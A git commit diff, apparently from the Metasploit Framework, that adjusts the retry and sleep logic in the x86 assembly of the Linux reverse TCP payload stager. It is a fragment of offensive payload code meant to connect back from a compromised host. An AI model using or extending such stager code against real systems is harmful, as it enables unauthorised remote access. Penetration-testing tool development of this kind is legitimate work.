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Land #8848, fix extra sleep on linux x86 stager

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This commit is contained in:
Brent Cook 2017-08-19 22:12:19 -05:00
commit 6afd90b7f0
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1 changed files with 3 additions and 3 deletions
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6
lib/msf/core/payload/linux/reverse_tcp.rb
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@ -123,6 +123,8 @@ module Payload::Linux::ReverseTcp_x86
jns mprotect jns mprotect
handle_failure: handle_failure:
dec esi
jz failed
push 0xa2 push 0xa2
pop eax pop eax
push 0x#{sleep_nanoseconds.to_s(16)} push 0x#{sleep_nanoseconds.to_s(16)}
@ -131,9 +133,7 @@ module Payload::Linux::ReverseTcp_x86
xor ecx, ecx xor ecx, ecx
int 0x80 ; sys_nanosleep int 0x80 ; sys_nanosleep
test eax, eax test eax, eax
js failed jns create_socket
dec esi
jnz create_socket
jmp failed jmp failed
^ ^